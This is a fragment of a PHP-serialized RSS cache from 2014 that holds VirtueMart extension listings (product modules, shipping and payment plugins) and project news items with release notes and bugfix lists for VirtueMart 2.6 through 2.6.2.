      ";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Wed, 09 Apr 2014 13:31:12 +0200";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:6;a:6:{s:4:"data";s:23:" ";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:1:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:22:"Latest Products Module";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:71:"http://extensions.virtuemart.net/products/latest-products-module-detail";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:71:"http://extensions.virtuemart.net/products/latest-products-module-detail";s:7:"attribs";a:1:{s:0:"";a:1:{s:11:"isPermaLink";s:4:"true";}}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:601:"
      thumb_mod_latest_productsDisplay your latest VirtueMart products at any module position of your template. Determine by 19 parameters which product data will be shown. Additionally visualize your latest product with a "New" Badge.

      Read more

      ";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Wed, 09 Apr 2014 13:23:43 +0200";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:7;a:6:{s:4:"data";s:23:" ";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:1:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:22:"Random Products Module";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:71:"http://extensions.virtuemart.net/products/random-products-module-detail";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:71:"http://extensions.virtuemart.net/products/random-products-module-detail";s:7:"attribs";a:1:{s:0:"";a:1:{s:11:"isPermaLink";s:4:"true";}}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:529:"
      thumb_mod_random_productsShow random VirtueMart products at any module position. Define 19 parameters for product display. Optionally set permanent products.

      Read more

      ";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Wed, 09 Apr 2014 13:14:41 +0200";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:8;a:6:{s:4:"data";s:23:" ";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:1:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:24:"Products Showcase Module";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:73:"http://extensions.virtuemart.net/products/products-showcase-module-detail";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:73:"http://extensions.virtuemart.net/products/products-showcase-module-detail";s:7:"attribs";a:1:{s:0:"";a:1:{s:11:"isPermaLink";s:4:"true";}}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:512:"
      thumb_mod_showcase_productsShow permanently defined VirtueMart products on any module position. Define product display by 17 parameters.

      Read more

      ";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Wed, 09 Apr 2014 13:07:53 +0200";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:9;a:6:{s:4:"data";s:23:" ";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:1:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:30:"Latest Customer Reviews Module";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:79:"http://extensions.virtuemart.net/products/latest-customer-reviews-module-detail";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:79:"http://extensions.virtuemart.net/products/latest-customer-reviews-module-detail";s:7:"attribs";a:1:{s:0:"";a:1:{s:11:"isPermaLink";s:4:"true";}}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:540:"
      thumb_mod_latest_customer_reviewsDisplay the latest customer reviews on every module position. Select from nine color styles. Further options available.

      Read more

      ";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Tue, 08 Apr 2014 19:56:19 +0200";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:10;a:6:{s:4:"data";s:23:" ";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:1:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:29:"Shipment for Virtual Products";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:78:"http://extensions.virtuemart.net/products/shipment-for-virtual-products-detail";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:78:"http://extensions.virtuemart.net/products/shipment-for-virtual-products-detail";s:7:"attribs";a:1:{s:0:"";a:1:{s:11:"isPermaLink";s:4:"true";}}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:502:"
      Logo of the Shipment for Virtual Products pluginShips virtual products (software, music, videos, books) to your customers

      Read more

      ";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Sat, 04 Feb 2012 13:29:30 +0100";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:11;a:6:{s:4:"data";s:23:" ";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:1:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:34:"Quantity related price calculation";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:83:"http://extensions.virtuemart.net/products/quantity-related-price-calculation-detail";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:83:"http://extensions.virtuemart.net/products/quantity-related-price-calculation-detail";s:7:"attribs";a:1:{s:0:"";a:1:{s:11:"isPermaLink";s:4:"true";}}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:458:"
      Quantity related price calculation logoCreate product quantity based discounts

      Read more

      ";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Sat, 04 Feb 2012 13:10:35 +0100";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:12;a:6:{s:4:"data";s:23:" ";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:1:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:3:"UPS";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:53:"http://extensions.virtuemart.net/shipments/ups-detail";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:53:"http://extensions.virtuemart.net/shipments/ups-detail";s:7:"attribs";a:1:{s:0:"";a:1:{s:11:"isPermaLink";s:4:"true";}}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:410:"
      UPS Shipping LogoUPS - United Parcel Service of America Shipment

      Read more

      ";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Sat, 04 Feb 2012 13:33:01 +0100";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:13;a:6:{s:4:"data";s:23:" ";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:1:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:29:"PayPal Payments Pro 3D Secure";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:78:"http://extensions.virtuemart.net/payments/paypal-payments-pro-3d-secure-detail";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:78:"http://extensions.virtuemart.net/payments/paypal-payments-pro-3d-secure-detail";s:7:"attribs";a:1:{s:0:"";a:1:{s:11:"isPermaLink";s:4:"true";}}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:533:"
      Paypal Payments Pro for VirtueMart 2 plugin logoThis plugin allows credit and debit cards to be processed without the customer leaving the merchant's site.

      Read more

      ";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Tue, 12 Mar 2013 15:47:19 +0100";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:14;a:6:{s:4:"data";s:23:" ";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:1:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:30:"Offline Credit Card Processing";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:79:"http://extensions.virtuemart.net/payments/offline-credit-card-processing-detail";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:79:"http://extensions.virtuemart.net/payments/offline-credit-card-processing-detail";s:7:"attribs";a:1:{s:0:"";a:1:{s:11:"isPermaLink";s:4:"true";}}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:527:"
      credit-card-offline-processing89Payment plugin allows you to collect credit card information online to manually process the payment offline.

      Read more

      ";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Sat, 04 Feb 2012 15:29:54 +0100";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}}}s:27:"http://www.w3.org/2005/Atom";a:1:{s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:0:"";s:7:"attribs";a:1:{s:0:"";a:3:{s:3:"rel";s:4:"self";s:4:"type";s:19:"application/rss+xml";s:4:"href";s:54:"http://extensions.virtuemart.net/?format=feed&type=rss";}}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}}}}}}}}s:4:"type";i:128;s:7:"headers";a:10:{s:4:"date";s:29:"Mon, 26 May 2014 14:21:57 GMT";s:6:"server";s:6:"Apache";s:3:"p3p";s:48:"CP=NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM";s:13:"cache-control";s:8:"no-cache";s:6:"pragma";s:8:"no-cache";s:10:"set-cookie";s:77:"2b88d30b4ea7db89edb1c8716acfbae5=rhd7fpdqepkr30gcuhu4e7s5t1; path=/; HttpOnly";s:4:"vary";s:15:"Accept-Encoding";s:16:"content-encoding";s:4:"gzip";s:14:"content-length";s:4:"2552";s:12:"content-type";s:34:"application/rss+xml; charset=utf-8";}s:5:"build";s:14:"20090627192103";}PK@y>\aLL*cache/f45d5edce778cfaad8da01e32bf61c99.spcnuW+Aa:4:{s:5:"child";a:1:{s:0:"";a:1:{s:3:"rss";a:1:{i:0;a:6:{s:4:"data";s:3:" ";s:7:"attribs";a:1:{s:0:"";a:1:{s:7:"version";s:3:"2.0";}}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:1:{s:0:"";a:1:{s:7:"channel";a:1:{i:0;a:6:{s:4:"data";s:53:" ";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:2:{s:0:"";a:7:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:53:"List all News || All news from the VirtueMart project";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:142:"VirtueMart - a free, easy to use and up-to-date e-commerce solution. Fully integrated into a free, but professional Content Management System.";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:38:"http://virtuemart.net/news/latest-news";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:13:"lastBuildDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Mon, 26 May 2014 14:21:59 +0000";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:9:"generator";a:1:{i:0;a:5:{s:4:"data";s:40:"Joomla! - Open Source Content Management";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:8:"language";a:1:{i:0;a:5:{s:4:"data";s:5:"en-gb";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"item";a:10:{i:0;a:6:{s:4:"data";s:31:" ";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:1:{s:0:"";a:7:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:28:"New Release VirtueMart 2.6.2";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:71:"http://virtuemart.net/news/latest-news/458-new-release-virtuemart-2-6-2";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:71:"http://virtuemart.net/news/latest-news/458-new-release-virtuemart-2-6-2";s:7:"attribs";a:1:{s:0:"";a:1:{s:11:"isPermaLink";s:4:"true";}}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:1464:"

      VirtueMart release pure bugfix release VM2.6.2

      This is a pure bug release. The liveupdater did not work, so we replaced it by the joomla updater. We also checked the language loaders which should work now more robust. The cache returns the JTable object again. 

      List of bugfixes:

      • Important Fix for vmtable. Cache gave back a standard object with the data. But before it was a JObject. The data is stored as standard object and bind to the table which is returned.
      • Reworked loading of language files in email and invoice
      • Correct language loader for plugins added
      • Small fix for loadJLang (reset of tested path)
      • Loading Be language, changed to FE language
      • Added replyto the shopper in vendor email
      • Akeeba liveupdater removed
      • xml for joomla updater added
      ";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:6:"author";a:1:{i:0;a:5:{s:4:"data";s:41:"valerie@virtuemart.net (Valérie Isaksen)";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:8:"category";a:1:{i:0;a:5:{s:4:"data";s:11:"Latest News";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Wed, 21 May 2014 20:29:08 +0000";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:1;a:6:{s:4:"data";s:31:" ";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:1:{s:0:"";a:7:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:45:"Jday France 2014, VM 2.6.0a, VM for Joomla 3 ";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:85:"http://virtuemart.net/news/latest-news/457-jday-france-2014-vm-2-6-0a-vm-for-joomla-3";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:85:"http://virtuemart.net/news/latest-news/457-jday-france-2014-vm-2-6-0a-vm-for-joomla-3";s:7:"attribs";a:1:{s:0:"";a:1:{s:11:"isPermaLink";s:4:"true";}}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:5302:"
      • VirtueMart at the Joomladay France 2014,
      • Release of VirtueMart 2.6.0a
      • VirtueMart for Joomla 3

      VirtueMart at the Joomladay France 2014

      JoomlaDay à Paris le 23 et 24 mai 2014The eigth edition of JoomlaDay France, after a few years spent in province, will take place in Paris, the 23/24 of May 2014: 2 days with conferences and workshops.

      Like every year, VirtueMart will be there for a conference and a workshop.

      VirtueMart, the ecommerce reference for Joomla, has experiencing a growing success : the 30k downloads mark was exceeded in 15 days for the latest release, and the version 3.0 will soon take off.

      Some figures about VirtueMart:

      • A reliable ecommerce solution for over 10 years alongside Joomla
      • More than 250 000 sites in the world,
      • Among the top 5 e-Commerce solutions Open Source
      • More than 600 extensions (component, third party plugins )
      • Translated into more than 30 languages ​​,
      • An active international community .

      Discover, at this conference, the new VirtueMart version :

      • Compatible Joomla 3.x
      • Faster
      • Even more secure
      • Improved custom fields
      • Settings optimized
      • Etc. ..... 

      The workshop will be presented by the virtuemart.fr team. The goal is to provide practical advice to

      • Create complex products
      • Configure / create calculation rules
      • Overriding template
      • Creating a multilingual site


      Then we will listen to you and answer your questions.

      Come and participate in one of the major events of this new edition of French JoomlaDay 2014!

      New Release Version 2.6.0a

      Download now Version 2.6.0a

       

      List of fixes:

      • Fix by Luiz Weber to prevent checkout of meanwhile sold out products
      • Preventing submitting twice an order
      • Added some missing language keys, removed obsolete ones (COM_VIRTUEMART_LOGINAME)
      • fixed updating orders with empty entries http://forum.virtuemart.net/index.php?topic=123694.0
      • Search had problems for some products
      • Bug Fix for Vat calculation with different VatTax rules
      • fallback if glob is not supported
      • added switch prodOnlyWLang; You can switch with it between the old and new method to load products only with language or also without
      • added parameter to setCartPrices of vmspsplugin to give plugins the possibility to switch between linear or progressive fee calculation
      • added self::$langCount to config.php so we can use the vmtable of vm3 in vm2
      • added vmtable of vm3, slightly modified, take care of isSuperVendor
      • there was a small error preventing to create more then 10 children using the "same" slug
      • little fix for facebox
      • Paypal, IPN IPs checking in notification
      • Checking amount in Paypal standard (option cart) for IPN validation
      • added abs to the discount of avatax
      • Fix KlarnaCheckout
      • Klarna : birthday fix for Germany/Netherlands
      • Sample data: Yen has no decimal
      • admin VM module: fixed the mutliple submenus
      • moved the input fields of the form of the add to cart button back outside the else, so it is now always there (some js relies on it)
      • enhanced sample data
      • SystemCache was accidently activated in the fullinstaller
      • removed false positive error
      • added loading of language if misssing (for example to the installation finished screen).

       

       

      For the people waiting on VirtueMart for Joomla 3 

      VirtueMart 3 is almost ready. The situation is maybe similar to vm2.5.3. The more testers and reports the faster we can release. Please download Virtuemart 2.9 (the beta for VM3) here http://dev.virtuemart.net/projects/virtuemart/files. Search for the latest vm2.9.x, join us in the forum, tell us your experience with it http://forum.virtuemart.net/index.php?board=136.0.

       

      ";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:6:"author";a:1:{i:0;a:5:{s:4:"data";s:41:"valerie@virtuemart.net (Valérie Isaksen)";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:8:"category";a:1:{i:0;a:5:{s:4:"data";s:11:"Latest News";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Fri, 09 May 2014 18:10:09 +0000";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:2;a:6:{s:4:"data";s:31:" ";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:1:{s:0:"";a:7:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:37:"VirtueMart are proud to release VM2.6";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:80:"http://virtuemart.net/news/latest-news/456-virtuemart-are-proud-to-release-vm2-6";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:80:"http://virtuemart.net/news/latest-news/456-virtuemart-are-proud-to-release-vm2-6";s:7:"attribs";a:1:{s:0:"";a:1:{s:11:"isPermaLink";s:4:"true";}}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:13829:"

      Release of VirtueMart 2.6, VirtueMart 3 for Joomla 3 is coming soon. New: Full Installer including Joomla and VirtueMart. 

      New minimum requirement for VirtueMart is php 5.3.10

      Enhanced Features:

      With so many changes over the past couple of years, we noticed that many small and big features have been added to the core of VirtueMart. Some of these have been provided by 3rd party developers, whilst others were added as workarounds to remove/avoid bugs, or to complete a feature, which combined with our increased experience has translated into many more general and useful functions.

      A good example of an enhanced usable feature is the way in which Virtuemart automatically sends emails. In VM1 emails were generated automatically for any and all order status changes, but VM1 had a different cart workflow, so we simply adjusted the workflow and made more use of the order status email system, however this rebounded with a different problem, in that the merchants felt spammed by their own shop. To address this issue, as part of the enhanced features, we have added a configuration setting for mail, so you can control which emails are used, resulting in a better end user experience.

      New Features:

      Some time back we started working on version vm2.1 and noticed that API changes would be required, whilst at the same time new bugs in VM2.0 were being found which forced us to stop development of VM2.1 at that stage to further fix VM2.0. However some developers needed those VM2.1 features, which they had already added to their customers' shopping carts and plugins, so we started to add backward compatible features back into the VM2.0 series, which resulted in us gathering together the developers' and users' ideas. Read here to get an idea http://forum.virtuemart.net/index.php?topic=123203.msg420458

      Re-implementation for backward compatibility:

      In the meantime, the Joomla world moved on and released Joomla 3.x which also has some API changes itself, so we had to replace some of the Joomla functions ourselves (for example JText against vmText), which exposed the situation that some of these revised functions were not in VM2.0. So to give our 3rd party developers the chance to write extensions compatible for VM2.0 and VM3 we have introduced these general functions to VM2.6, which makes VM2.6 the perfect interim version between VM2.0 and VM3.
      The added features meant for VM2.2 and the implementation of the general functions required for VM3 justifies a direct jump to VM2.6 and also better reflects our progress in enhancing VirtueMart.

      VirtueMart 3 for Joomla 3

      The old VM2.1 trunk is completely synchronised with VM2.6 and will become the new VirtueMart 3; the version for developers is now VM2.9, so the VM2.0 series ends with VM2.6.x. VirtueMart 3 works on Joomla 2.5 and 3.2, which brings everything up to date and allows us to allocate our time now to developing VirtueMart 3. 

      This sounds complex, but endusers just need to know:

      • version 2.6 is the interim between VM 2.0 and VM3= new features, no API changes, only compatible Joomla 2.5
      • version 3: coming soon, compatible Joomla 2.5 and Joomla 3, contains API changes (mainly custom fields)

      new-sample-data

      Release strategy

      We are very happy about the changed release stragegy of joomla. Even maybe not written down clearly we had always a similar strategy. The version vm2.6 is now the last supported version of the vm2.x series and will be supported with security fixes at least the next 2 years. There are additional developer versions to the release strategy of joomla and the strategy to reimplement features of a new series back to the old. You may read more detailled about our roadmap here http://dev.virtuemart.net/projects/virtuemart/wiki/Roadmap

      New minimum requirements for VirtueMart

      PHP 5.2.x is EOL since 3 years and 3 months. From the view of a technician or programmer there is no need to say that php5.2.x is completly outdated and unsecure. There are no fixes anylonger since 3 years, please read here http://php.net/eol.php. There are some critical issues in the encryption functions in the php5.2 versions. We worked as best backward compatible, but bugs are more likely. We even suggest to use php5.5 latest.

      Therefore, the new minimum requirement for VirtueMart is php 5.3.10

      Features:

      - Moved language to the component folder
      - new Sample Data
      - Joomla Virtuemart Complete Installer
      - Added GTIN and MPN
      - automatically encryptes storing of fields in the database.
      - stockable Plugin: Added functionality to order/reorder child products
      - vmText,vmRequest and vmjsapi.php in own files/added them for BC to vm2.0
      - added plgVmCouponInUse
